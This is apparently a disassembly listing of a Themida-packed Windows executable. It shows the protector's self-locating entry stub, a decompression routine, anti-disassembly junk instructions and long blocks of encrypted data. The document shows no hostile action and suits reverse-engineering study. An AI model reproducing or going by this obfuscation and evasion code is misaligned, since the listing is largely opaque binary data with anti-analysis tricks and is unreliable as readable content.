		dd 1B8h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DE000h
		dd 400h	dup(0)
_rsrc___	ends

; Section 3. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4DF000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0DF050h, 0DF000h, 3 dup(0)
		dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E0000)
; Virtual size			: 000E0000 ( 917504.)
; Section size in file		: 000E0000 ( 917504.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E0000h
		dd 0EE508D91h, 4A7E4h, 54093h, 95172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053E1CD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00541506 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0054177C SIZE 00000047 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E0086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E0041
		popa
		jmp	short loc_4E0076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_4E0041:				; CODE XREF: start+18j
		call	$+5
		pop	eax


loc_4E0047:				; DATA XREF: ___:00437A34o
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4E004E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E006D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E0074


loc_4E006D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E004E
; ---------------------------------------------------------------------------


loc_4E0074:				; CODE XREF: start+57j
		mov	edi, eax


loc_4E0076:				; CODE XREF: start+1Bj
		jmp	loc_4E0265
; ---------------------------------------------------------------------------
		db 3
		dd 26AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_4E0086:				; CODE XREF: start+8j
		mov	eax, offset loc_53E1CD
		mov	ecx, offset word_4E026A
		push	eax
		push	ecx
		call	sub_4E011B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E0265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
		dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
		dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh,	0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E011B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4E0127:				; CODE XREF: sub_4E011B:loc_4E013Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4E0132:				; CODE XREF: sub_4E011B+7Aj
					; sub_4E011B+C3j ...
		add	dl, dl
		jnz	short loc_4E013B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E013B:				; CODE XREF: sub_4E011B+19j
		jnb	short loc_4E0127
		add	dl, dl
		jnz	short loc_4E0146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0146:				; CODE XREF: sub_4E011B+24j
		jnb	short loc_4E0197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E0153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0153:				; CODE XREF: sub_4E011B+31j
		jnb	loc_4E0238
		add	dl, dl
		jnz	short loc_4E0162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0162:				; CODE XREF: sub_4E011B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E016D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E016D:				; CODE XREF: sub_4E011B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0178:				; CODE XREF: sub_4E011B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0183:				; CODE XREF: sub_4E011B+61j
		adc	eax, eax
		jz	short loc_4E018D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E018D:				; CODE XREF: sub_4E011B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0197:				; CODE XREF: sub_4E011B:loc_4E0146j
		mov	eax, 1


loc_4E019C:				; CODE XREF: sub_4E011B:loc_4E01B0j
		add	dl, dl
		jnz	short loc_4E01A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01A5:				; CODE XREF: sub_4E011B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E01B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01B0:				; CODE XREF: sub_4E011B+8Ej
		jb	short loc_4E019C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E01E3
		mov	ecx, 1


loc_4E01C0:				; CODE XREF: sub_4E011B:loc_4E01D4j
		add	dl, dl
		jnz	short loc_4E01C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01C9:				; CODE XREF: sub_4E011B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E01D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01D4:				; CODE XREF: sub_4E011B+B2j
		jb	short loc_4E01C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E01E3:				; CODE XREF: sub_4E011B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E01F1:				; CODE XREF: sub_4E011B:loc_4E0205j
		add	dl, dl
		jnz	short loc_4E01FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01FA:				; CODE XREF: sub_4E011B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E0205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0205:				; CODE XREF: sub_4E011B+E3j
		jb	short loc_4E01F1
		cmp	eax, 7D00h
		jnb	short loc_4E0228
		cmp	eax, 500h
		jb	short loc_4E0223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0223:				; CODE XREF: sub_4E011B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E022B


loc_4E0228:				; CODE XREF: sub_4E011B+F1j
		add	ecx, 2


loc_4E022B:				; CODE XREF: sub_4E011B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0238:				; CODE XREF: sub_4E011B:loc_4E0153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E0259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0259:				; CODE XREF: sub_4E011B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E011B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4E0265:				; CODE XREF: start:loc_4E0076j
					; start+9Dj
		jmp	loc_53E1CD
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E026A	dw 38E9h		; DATA XREF: start+77o
		dd 1523334h, 2422BFBAh,	0F3FB0AE1h, 0BF7B8401h,	102E92E2h
		dd 848B36BCh, 70C6A87Eh, 115D8703h, 0E4877071h,	0DD215C98h
		dd 2D3430E0h, 0AF0AE131h, 656854C0h, 6438696Dh,	88AE4661h
		dd 0EB42B835h, 0E12122EFh, 29FFBE0Fh, 0FA759401h, 0D27DC845h
		dd 0D0DF204Dh, 730E6552h, 67726174h, 2E177041h,	3FCB78A7h
		dd 2214D7D0h, 0F723DC01h, 0DC33435Eh, 0B4DEDF21h, 6EFE5774h
		dd 0AB110311h, 21C58BC7h, 0C2E860D4h, 0ED815D20h, 0E9330143h
		dd 31958905h, 0B50D9F2Ah, 85080291h, 83021291h,	0E035DBDh
		dd 8B0C7401h, 0B8E2C8E8h, 0C21EB991h, 244470F1h, 453E10C7h
		dd 986A3A2Eh, 6829A3E8h, 83741E9Ah, 0ADF9407h, 894B2507h
		dd 42D5A40Ah, 450214E9h
		db 54h,	7Dh, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		lodsb
		out	dx, al
		add	al, 5Ah
		sub	edx, 8B003431h
		fcmovb	st, st(7)


loc_4E0351:				; CODE XREF: Themida_:004E036Ej
		inc	ebp
		fcom	dword ptr [ecx+400EB108h]
		mov	[edi-33827EF8h], ecx
		sbb	byte ptr ds:200F6774h, 8
		repne sbb dword	ptr [ebx-7900EFB7h], 12h
		inc	ebx
		jmp	short loc_4E0351
; ---------------------------------------------------------------------------
		dd 61DC3736h, 0C2C94126h, 81464004h, 0FF687CC4h, 7AE44902h
		dd 80458D40h, 8145D8Bh,	441985C7h, 0AA08D50h, 880AC3D1h
		dd 0B894118h, 6BD818Ah,	75295D20h, 8D4227E3h, 0C0648EBAh
		dd 0E8A8075h, 5BF449BBh, 37ABB800h, 0D0D37854h,	8C30FFCh
		dd 0B0F7754Bh, 5247C3AFh, 46464A46h, 2B42F92Ah,	0A08A61D1h
		dd 0FDF075D0h, 0FC45EE8Ah, 4EB0A4Dh, 468C3CADh,	0F7403E80h
		dd 6E84BA53h, 0C7D6134h, 3E907FEBh, 126DCCF8h, 0ECA84F0h
		dd 4A8110F4h, 4F065C1h,	0D1F8D640h, 0C20339E0h,	0DB332860h
		dd 301C1C8Ah, 72CCFB80h, 3D390A0Ah, 0EB3E0577h,	142267F2h
		dd 0A0DF661h, 86F667Fh,	0C34E5F1Eh, 1A10AC0Ah, 0B723041h
		dd 677460Ah, 18A224DEh,	0ECF05D01h, 7D7383F4h, 0B072021Bh
		dd 76C0370Ch, 26AA66A5h, 7CEF841h, 0A86A8Dh, 0FFC553Bh
		dd 0BDA97882h, 0BEAAC1B0h, 8BA5038h, 70E0B9E0h,	0C0BDFCA8h
		dd 1FE3540h, 7549470Fh,	0C522B9FAh, 1BBDC6Ah, 82F1F4E3h
		dd 1D0CEB6Fh, 0B3868E80h, 3806EA37h, 36376551h,	8AE5FE1Dh
		dd 0E9070A26h, 6B590F05h, 42C54EFh, 5C392113h, 5D8A01C4h
		dd 45820525h, 21160898h, 0C4015444h, 0C32C87EDh, 198712EAh
		dd 0D7EF787Bh, 32638EC8h, 0EAC85C27h, 319D2FAh,	0F1806ACAh
		dd 0CB8CE287h, 82670034h, 5B004E39h, 0B8100F76h, 7C043D51h
		dd 613B76D1h, 9755A46h,	8011D52Eh, 0E4EC480Eh, 0A0069065h
		dd 0AC58463h, 0C6968E05h, 0E1539180h, 2951C204h, 0E89B718Ch
		dd 0A0760EE7h, 812BFF61h, 22800477h, 84C1341Dh,	753233F9h
		dd 0E3FBC20h, 0EFCC0AEEh, 41E60230h, 8C33EC71h,	0F2FFCC7Fh
		dd 0FD451940h, 604AE9h,	8C52C462h, 1011254Dh, 99B1AA82h
		dd 84A15AABh, 0E6561413h, 0EE825EC1h, 88155D1h,	8A9F8F07h
		dd 4013B954h, 43A59723h, 43D1B40Eh, 0BE871038h,	0BC670E1Bh
		dd 8D84FD17h, 531982DAh, 0E4C45B30h, 2255468Ah,	5343001Bh
		dd 469C76C4h, 5A2868D6h, 0F4009FB2h, 0E28161CFh, 0C009E905h
		dd 0AA0E3B2Fh, 12003D9Fh, 0B5CFD95h, 0FB8610CAh, 578023B2h
		dd 0E4C45F30h, 2275468Ah, 57470115h, 8D100DC4h,	82158007h
		dd 0FE8B90D4h, 86C80A1Fh, 399502BEh, 0E08C21E3h, 0F2953C3h
		dd 0D43F12F9h, 398C5644h, 8A10C45Eh, 5646E06Dh,	0EAC92AC4h
		dd 0DCA4F7E7h, 0DB803E0Ah, 3E0E87C2h, 16097AE5h, 198E9E6Ah
		dd 19D0B7AFh, 2ADA00CEh, 714B53D2h, 86035E9Ah, 29BA7A41h
		dd 2446B18Ah, 0DA8CA28Dh, 10DEB110h, 49800AE9h,	0EF382AF8h
		dd 0C2006F84h, 0FEBF89D3h, 16FDF5h, 0F28C675Ch,	5ED1C482h
		dd 0F3C9FDABh, 807A4769h, 591CB7BFh, 0BCDF8207h, 8C115B9Fh
		dd 0BBF8040Dh, 0EA1AC341h, 0EAD7DBD0h, 3E1A11DCh, 0D133057h
		dd 0C55E7Fh, 16A2A896h,	25BB5362h, 0B307B00h, 0F9042014h
		dd 0C282025Bh, 9BEE1A7h, 45A5D000h, 10541423h, 949DE685h
		dd 60185081h, 0D0828C8Ah, 0BEA61F1Ch, 0C8D8C4F3h, 292D3DE9h
		dd 9EAC6C60h, 0FF4BC0B8h, 0B0A443A3h, 97008B75h, 5FCB8363h
		dd 3782E7E1h, 673939C1h, 643A9F9h, 6281DA38h, 80048F0Dh
		dd 43D2C047h, 300B005Eh, 1C47815Bh, 0C3009C86h,	6651E611h
		dd 6141A96h, 0F01DB1F5h, 0BE1D287Eh, 56064CB5h,	838F4h
		dd 0DB680E0Bh, 22C545BBh, 0E68BB103h, 342F458h,	0EC71FC21h
		dd 0D3A8AFC9h, 7C263154h, 0E40037F3h, 124E1BACh, 62FB01D8h
		dd 1926153Bh, 30388065h, 0D7834FC2h, 687B000Eh,	8CDB2B52h
		dd 757BEB18h, 27DC4801h, 0C9B1305Dh, 0D08F0F0h,	6A71F99Bh
		dd 56B09D34h, 0A74BBBC0h, 1C1329Ah, 45B3D5E1h, 803DF359h
		dd 66B822A1h, 4B962Ah, 29218D2Eh, 436B5761h, 58906554h
		dd 0F39FC00h, 0D3A08EEFh, 0EA801D6h, 8FD02042h,	1955E8BAh
		dd 8BB96D60h, 3FF961h, 4BEFBD85h, 0BA9D76DFh, 0DA23B200h
		dd 8CB44CBEh, 315C611Bh, 8D1DDB6Ah, 99B61AB1h, 0C07C44F0h
		dd 0FE98BC81h, 7006F0A9h, 0DDC6ABBh, 916B0731h,	870A9A44h
		dd 0B286A05Ah, 3300764Dh, 4F1ABEE8h, 505214h, 7020BD73h
		dd 22B6BB09h, 3739DD0Eh, 0BE6A814Bh, 8BED2FBh, 96C0A100h
		dd 0E90BD5B8h, 0E540E100h, 49D0520Eh, 4C2A30B9h, 340A2282h
		dd 0E1DD30C1h, 0DD447BFCh, 0B453AFC0h, 46190C20h, 1B20B854h
		dd 31A13018h, 6CF88210h, 0C37840A3h, 4F10CE00h,	54BDD116h
		dd 0E631030Fh, 321D38B3h, 6555300Dh, 70436937h,	3BB13D1Eh
		dd 0FBA4E400h, 23FFA8E5h, 9AAD18C3h, 0EAC90FE6h, 94140EFh
		dd 0D8A6B931h, 5160D34Fh, 88062041h, 0EF8300B7h, 4DF22A42h
		dd 302290D1h, 7D9800EAh, 8FA833F1h, 0D20005FEh,	4137FA6Dh
		dd 197B40Bh, 1CD33B31h,	0EF238A62h, 0E4DC14A1h,	0A963B7CBh
		dd 0C289EEE1h, 0AD7880B6h, 74FD0C73h, 31A0FAEh,	0FB018BE1h
		dd 80E830E9h, 0D9875879h, 1F1ABD2h, 0D5B1B007h,	8E3255BBh
		dd 346B5228h, 530B8288h, 4088061h, 0C1481E3h, 0D5CFAEBBh
		dd 3C600A51h, 0B8753421h, 0C7DA00B5h, 0C1739FD0h, 0A700D121h
		dd 0B67BA686h, 0FAE9ABFBh, 0A402870h, 2456759Ch, 1F9CDB13h
		dd 0B54F806Fh, 79D7FBBAh, 0A2AE0C14h, 0B84A81B8h, 38B84298h
		dd 66D46480h, 0B68683FBh, 0E70CBD74h, 204E34B7h, 81851EE5h
		dd 0FDCD050Ch, 6AA40148h, 416089B0h, 4099ADD8h,	80C8322Ch
		dd 2CE91A41h, 3433630h,	837E6784h, 0ABB3AAB8h, 9F715FA8h
		dd 289E3B0Ch, 26D2C0Ch,	3A41384Ah, 0FCA01933h, 0DCA84E1Eh
		dd 0DE504561h, 0A0D26352h, 0C120B390h, 545348D8h, 18984739h
		dd 0CF582850h, 0DC0CEC00h, 343A7CF4h, 4051D452h, 60AEA963h
		dd 0D0D28ED8h, 71FA3C00h, 2116DB48h, 1E1A734Fh,	0B0D30BC8h
		dd 0A0C92539h, 322B2F00h, 0E4A9D1FDh, 889500F3h, 6377AE03h
		dd 1C91EACBh, 6783E300h, 0A269E4C0h, 0ADA10490h, 0C824090h
		dd 6159F030h, 54F61044h, 95399CB4h, 0A6083FC0h,	1408194h
		dd 167CF51Bh, 83DFAC88h, 8B4BEBE8h, 6482B007h, 4FF8A0BAh
		dd 0B5D50233h, 0D1CD410h, 31613C48h, 0D424EA84h, 3A124CC9h
		dd 92CC2130h, 820BE012h, 0E3051400h, 0C24EE0D0h, 0B0690AEEh
		dd 7A82408h, 259DD4C6h,	53A006A5h, 8A03B1ACh, 0CD619E14h
		dd 5EB3E88Fh, 0C15200C7h, 89DAC3A9h, 48C2F505h,	46097650h
		dd 9DAE2450h, 76795878h, 82126F00h, 500194CAh, 1EF401E1h
		dd 0D6D4FD60h, 8747CD95h, 0F38A3CB9h, 0A885A030h, 0C47C3A1Dh
		dd 0C1DF5A1Eh, 164E90C1h, 0E1F8EBE7h, 4892A4EFh, 0B2D4BD0Ah
		dd 60099424h, 0BE6010A8h, 71CC06A7h, 99D937F7h,	88B7DD04h
		dd 6CC01EEFh, 49020725h, 1731090h, 318A67CBh, 403A059Dh
		dd 47AB61E4h, 323B181Dh, 1D139000h, 75F57Bh, 0F76EDD68h
		dd 0A966BFFDh, 932F400h, 0FF0AAB30h, 0D1BEC3C8h, 419FB58Dh
		dd 0E4B3A196h, 55075691h, 0B4DE9509h, 0EB2C3580h, 5E610F7Dh
		dd 796087F4h, 73302F48h, 0C070A00h, 932A68E0h, 0CE6C0062h
		dd 537BACA2h, 7C1DB687h, 47DE3781h, 75EE7F00h, 28B0DC17h
		dd 188073B8h, 0F8DBB2D3h, 0B426CB85h, 0A24780A0h, 3E44D4EAh
		dd 4F971D40h, 0C51C980Bh, 0CCC0F302h, 0AAC175E8h, 2C3DF831h
		dd 4E5030E4h, 52806669h, 90C41C48h, 86ECC500h, 8E7A6FBAh
		dd 0B62E2C1Dh, 3067CA20h, 0DFBC0A69h, 9C926DFAh, 392430E4h
		dd 130284E8h, 0C42D3AFDh, 7EC4B088h, 0D06E69B7h, 0B99C1C98h
		dd 5753DA00h, 0A0306744h, 0BA0C06F1h, 58418997h, 0B5B6CC18h
		dd 24C50BF1h, 9101B29h
		dd 349B6B9Fh, 0CC02DFE2h, 2B3CC0F5h, 0B98B0FA2h, 0D8646982h
		dd 1330804Dh, 4860899Dh, 79376EB1h, 2BD8C73Eh, 0A138A157h
		dd 0EF4881D9h, 16E8A869h, 9290C034h, 859D10E4h,	0C7E2041Ch
		dd 0ECCC4508h, 96AD2C4Fh, 0ECCC423Ch, 44D55CA7h, 2FC01F13h
		dd 0A7E24017h, 401D61F0h, 0EA695328h, 4FD4AC90h, 0A9CE90A8h
		dd 5B7C6E00h, 11B2660Ch, 74910F72h, 8F237E8Ah, 710FE730h
		dd 60831BB1h, 110923D1h, 0AFB030CCh, 0E6CEAD81h, 84464CA2h
		dd 691AD337h, 6DC33A40h, 0ABD39E6h, 0BFE1D803h,	0A00253BCh
		dd 0EDCC136Eh, 0DE0CE899h, 0C8670D89h, 0E8201E10h, 70F9B7Dh
		dd 8269790Fh, 0A2096F74h, 2A24351Ch, 96823F90h,	6B7B822Ch
		dd 82E218C1h, 0C5145F91h, 8DFCA019h, 5498AE7Bh,	540AF484h
		dd 7729039h, 49118334h,	0C01950B8h, 970331AEh, 0CC10BD0Ch
		dd 0DC22B0B3h, 96BF026Ah, 0ED0B4BA0h, 0A4501C44h, 0F9D420C0h
		dd 30A01680h, 1886D046h, 68552619h, 881340D0h, 809240B8h
		dd 52365D22h, 0EE00F053h, 0F461FF51h, 0B8144E27h, 680A967h
		dd 4DCDE533h, 8CDC31D0h, 30E1E0h, 62D8B0A7h, 2BBE7855h
		dd 0C128A040h, 0E4F4DC41h, 0CD33166Ah, 0D4C452Dh, 0FC84C854h
		dd 0C1499707h, 13F017DEh, 0CAC5B0h, 5CF4A251h, 697A641Eh
		dd 31221F7Fh, 35A803D0h, 0ED6BA6F5h, 1F4DD6B0h,	94231017h
		dd 87E55A03h, 0B50A008Ch, 0E630FB8Ah, 44B13339h, 4559B02h
		dd 0B330C1ABh, 942218FCh, 0D3671C40h, 1C5423ACh, 9EF1313Fh
		dd 82C1D7ABh, 1BA388B8h, 49EECB11h, 5190019Ch, 287C076Bh
		dd 0DB48C468h, 0E0C08183h, 9AAD0045h, 50C9D8DCh, 5E1D6D38h
		dd 49C4BB06h, 44904CA0h, 927E358h, 8D22DCB8h, 0CC214882h
		dd 547C8400h, 4979DFB6h, 0D98203C6h, 0AC520261h, 8100E9F8h
		dd 2D47978Ch, 67A0C1Ah,	5EA06820h, 5444E163h, 57F490h
		dd 0F39461B0h, 2A502015h, 88C54628h, 431B769h, 48408118h
		dd 0A5C534ABh, 68F03763h, 49E384h, 0EC7B4451h, 470F37Dh
		dd 65264B01h, 1677BD1Fh, 0CA427E4h, 4D373A59h, 0CC54FB31h
		dd 9C0EC988h, 205AAB91h, 0DC31E84Bh, 0DD08010Fh, 0A3ACBC0h
		dd 53B02488h, 180064B9h, 0E702CC64h, 478904E9h,	8C4668A8h
		dd 1F1EEB30h, 0F2C06BE1h, 0E602A6C3h, 0C15F032Ah, 236DCE95h
		dd 30A5B2D3h, 0D22AF988h, 138A7700h, 0D5DE933Bh, 8FB60C2Dh
		dd 0B3810409h, 47C93814h, 0A26801B8h, 0E1D488B4h, 0E62BD040h
		dd 0A7A002E4h, 95276C6Ah, 0A8D08448h, 109C0B48h, 120042B1h
		dd 7C2C32D1h, 0DB746A0Ch, 64297EF0h, 7981E447h,	1D65C108h
		dd 24A7E1D4h, 10192Ch, 7BE45A07h, 94FE7123h, 3B689F48h
		dd 67838068h, 0BDED34AEh, 510B26Eh, 66526C35h, 0DCB40291h
		dd 8844323Ah, 249D7308h, 0AEF50EA3h, 0C411D6ABh, 0F3F8103Dh
		dd 81E0000Fh, 89078FE1h, 63037FDBh, 7785AAF5h, 59D82495h
		dd 3A278510h, 23300138h, 1AB704Eh, 88916135h, 0AE541815h
		dd 60BF4E9h, 0C180F502h, 0AF01F8B2h, 330A59C3h,	61DA7A30h
		dd 5C5039D8h, 89D8659Bh, 83CC4463h, 5100AD98h, 4EFC98DEh
		dd 3B2CA0E3h, 2BA888B6h, 0C08348ACh, 0D48FB85Ch, 969A3320h
		dd 30005AD8h, 6F8104BCh, 24276665h, 84F04C84h, 13AA9C5h
		dd 606EB04Eh, 6297AD01h, 9FE20448h, 988869F0h, 84E4DA5h
		dd 3D58C00Ah, 0A2F1FDCh, 99429A0h, 2090B5CCh, 8522CFB3h
		dd 94B07E3Bh, 92D11224h, 49C2244h, 0C56B6820h, 45A1698h
		dd 0A41C3D40h, 59445340h, 4D612455h, 38708264h,	5040CEFDh
		dd 0CF00848Ch, 0EC9BD1A1h, 0FC5636B7h, 0DC480F27h, 6014F8A0h
		dd 7C248B10h, 1E347B3Ch, 42C2C18h, 0E0FBE8E1h, 0A313A180h
		dd 0B60CBF93h, 0E137F700h, 209BBBB5h, 8ABA154Fh, 7CB230DBh
		dd 566F802Fh, 116FAD6h,	4EE09867h, 0E0914D4Ch, 88619D32h
		dd 0BC5EE629h, 5BABE080h, 2BFB4D19h, 69DCB202h,	42218428h
		dd 0F208204h, 0B510C0FCh, 0DBEB3063h, 0A0C0DCB1h, 0D7E204B2h
		dd 0D30851F9h, 99E03497h, 41D69D77h, 0E1114C1Fh, 3202A003h
		dd 910680E5h, 7838EEC8h, 7C160379h, 84E53AAEh, 0B808214Eh
		dd 7CD98119h, 407790EEh, 57C86818h, 9F39E0A8h, 0AE6AF805h
		dd 0FC403D97h, 657D8885h, 40DCA8A6h, 607C03ACh,	66BD6B8Ah
		dd 58DFC010h, 49D67476h, 0D2002049h, 52548D15h,	4107183Ch
		dd 0D47C1185h, 3025BB10h, 8028316Ah, 49AD9989h,	0E82C2098h
		dd 95B98A8h, 0AB850FDh,	400EA832h, 81A0314Fh, 5CE9BF13h
		dd 64CD7421h, 54DEF5FCh, 0A1E394E2h, 94399785h,	0F8416B00h
		dd 393A9349h, 1961FA66h, 1D372A10h, 0D6D00590h,	0C208A9F0h
		dd 92151C8h, 285AE2E4h,	53D0722Ah, 4C9D2818h, 0EF58B9AAh
		dd 3400C099h, 6C3D274Eh, 6D9D2646h, 3090A4h, 5CA5B4DDh
		dd 53AA7CD2h, 3EC440E2h, 394E37Eh, 6B2C1201h, 0E39BB032h
		dd 198222F1h, 416CFB33h, 0F331AEB5h, 3AC23C5Ah,	5848063Ch
		dd 0A6559F6Eh, 305851D4h, 95BA026Bh, 0BCDB1034h, 6267008Dh
		dd 0CFF02D12h, 0E52030DDh, 0AC250069h, 316B1B5Bh, 428CEF8h
		dd 5BE948A5h, 61AA23BCh, 84FE98AEh, 3F6B1E91h, 8A390883h
		dd 5FA8A13Ah, 642D6FDCh, 0FB50AD22h, 44843454h,	630660B1h
		dd 6E64533Eh, 7CED0371h, 0C6B61719h, 975EECD0h,	0C7098509h
		dd 70188ABDh, 7B742F81h, 7EA5E1FBh, 919918A0h, 0FC29316Dh
		dd 0B7942016h, 455382BCh, 12A08426h, 7349C93h, 0D9DB4708h
		dd 7084C1E4h, 8F1024E9h, 36C400FFh, 0E8EE3837h,	42324E00h
		dd 985B9A71h, 0AD5D2607h, 1EF01BA9h, 0A0EF0Bh, 16D5728Eh
		dd 0FD793129h, 18FA5800h, 3EE3DF38h, 3B2FEE59h,	8E00CC7Ch
		dd 0A6666414h, 0CA1D9BE6h, 27A6B45Ah, 0B712D600h, 0F6FF7930h
		dd 401960F5h, 23423F3Dh, 0CC0E4A7Ch, 0A022921Ch, 0F2E09337h
		dd 70AF001Eh, 0E56B7EBBh, 36002955h, 15B14EBh, 1BA3824h
		dd 234005D7h, 0D2BE7944h, 44878C5h, 0F8A8DC7Fh,	41CE6E3h
		dd 0D8A4214Ah, 20A74B03h, 23ABE871h, 0C81F00B1h, 797EE9C1h
		dd 0B70054D6h, 5E187A43h, 3066D5ECh, 0F740E3BAh, 8300EE41h
		dd 7C4E511Dh, 0E09A36h,	0BCBA2FE4h, 6F3286A6h, 2E09B400h
		dd 0F17F0C70h, 0BB3801D1h, 304802E3h, 513F0043h, 605E0127h
		dd 33F6E0A6h, 62F070C4h, 54DA3800h, 87D81FBh, 81987Fh
		dd 0F829BD66h, 0EE312C48h, 98421C02h, 616A5E28h, 9422BB38h
		dd 0D7E9A0EBh, 0FE4400FFh, 3EC57C3Fh, 79001951h, 0F9E0A360h
		dd 4070BA27h, 160E0BABh, 61802EFDh, 6B23B08Fh, 78C60h
		dd 75873247h, 208D5B7Eh, 68376300h, 9EFDEA11h, 4DE4EBh
		dd 32E56DD7h, 951AAC41h, 40D5B437h, 314205A1h, 925B9800h
		dd 5E791300h, 2BEE2367h, 0B2C21EC6h, 5A0B404Bh,	1A702FB7h
